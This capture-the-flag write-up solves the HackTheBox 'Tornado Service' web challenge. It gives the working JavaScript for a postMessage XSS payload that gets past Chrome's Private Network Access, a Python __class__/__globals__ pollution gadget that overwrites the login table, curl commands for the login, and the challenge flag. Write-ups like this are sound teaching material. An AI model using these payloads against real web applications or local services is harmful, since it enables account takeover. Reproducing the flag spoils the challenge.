Note
report_tornado sends a Selenium bot to an attacker page. PNA blocks direct fetches to 127.0.0.1, so window.open the app and postMessage a tornado whose status field is rendered with innerHTML (XSS in the loopback origin). That XSS POSTs /update_tornado, whose recursive update_tornados() does getattr-walking — {__class__:{__init__:{__globals__:{USERS:[...]}}}} rewrites the module-global USERS so you can log in and GET /stats for the flag.
Tornado Service — postMessage XSS (PNA bypass) → object-walk to overwrite USERS
Platform: HackTheBox · Category: Web (client + server) · Stack: Python Tornado + Selenium/Chrome bot
Challenge overview
/stats returns the flag but needs a valid user cookie. Logins require one of three
random-password accounts in the module-global USERS. report_tornado?ip=<host> sends the bot to
http://<host>/agent_details. The plan: XSS the bot inside the app's own origin, abuse a
mass-assignment-style update_tornado to overwrite USERS, then log in and read /stats.
Step 1 — XSS on the bot, bypassing Private Network Access
The index page renders tornado objects received via postMessage straight into the DOM (innerHTML), so
the status field is an XSS sink:
window.addEventListener("message", (event) => {
const tornado = event.data;
tornadoList.appendChild(createListItem(tornado)); // status rendered as HTML
});
A direct fetch('http://127.0.0.1:1337/...') from the attacker page is blocked by Private Network
Access (public origin → loopback). The bypass: window.open the app (a top-level navigation to
127.0.0.1 is allowed), then postMessage the malicious tornado into it. The injected script now runs in
the loopback origin, so its own requests to 127.0.0.1:1337 are same/loopback-origin and PNA-clean:
const win = window.open('http://127.0.0.1:1337/');
setTimeout(() => {
const payload = `
fetch('/get_tornados').then(r=>r.json()).then(list=>{
const mid = list[0].machine_id;
return fetch('/update_tornado',{method:'POST',body:JSON.stringify({
machine_id: mid,
__class__:{__init__:{__globals__:{ USERS:[{username:'rami',password:'malek'}] }}}
})});
});`;
win.postMessage({ machine_id:'x', ip_address:'x',
status:`<img src=x onerror=eval(atob('${btoa(payload)}'))>` }, '*');
}, 3000);
Step 2 — the object-walk gadget in update_tornados
/update_tornado only allows updates from localhost (the bot satisfies this), then recursively merges
the JSON into the matched tornado:
def update_tornados(tornado, updated):
for index, value in tornado.items():
if hasattr(updated, "__getitem__"):
if updated.get(index) and type(value) == dict: update_tornados(value, updated.get(index))
else: updated[index] = value
elif hasattr(updated, index) and type(value) == dict:
update_tornados(value, getattr(updated, index)) # <-- getattr walk
else:
setattr(updated, index, value)
For the TornadoObject, the elif branch does getattr(updated, index) for dict values — so
{__class__:{__init__:{__globals__:{USERS:[...]}}}} walks
tornado.__class__.__init__.__globals__ (the module globals dict), then assigns
globals["USERS"] = [{username:'rami',password:'malek'}]. We've replaced the credentials table.
Step 3 — log in with the planted creds and read /stats
curl -X POST http://target/login -d '{"username":"rami","password":"malek"}' # -> Set-Cookie user=...
curl http://target/stats -H "Cookie: user=<that cookie>"
# {"success":{"type":"Success","message":"HTB{s1mpl3_stuff_but_w1th_4_tw15t!}"}}
Flag: HTB{s1mpl3_stuff_but_w1th_4_tw15t!}
Takeaways (generalized techniques)
- PNA bypass via top-level navigation + postMessage: when Private Network Access blocks
public→loopback fetches,
window.openthe internal app (navigation is permitted) and drive it withpostMessageinto a DOM sink. Your code then executes in the internal origin, so its fetches are no longer cross-private-network. - A recursive merge that does
getattr/setattron attacker keys is a Python "prototype pollution".{"__class__":{"__init__":{"__globals__":{...}}}}walks an instance up to its module globals and lets you overwrite arbitrary globals (hereUSERS). Same gadget reaches__builtins__, function defaults, etc. event.datarendered with innerHTML is XSS viapostMessage— no origin check on the listener means any window that canpostMessage(afterwindow.open) injects HTML.
Sources & references
- Challenge source:
hackthebox/web/tornado_service - Chrome Private Network Access: https://developer.chrome.com/blog/private-network-access-preflight/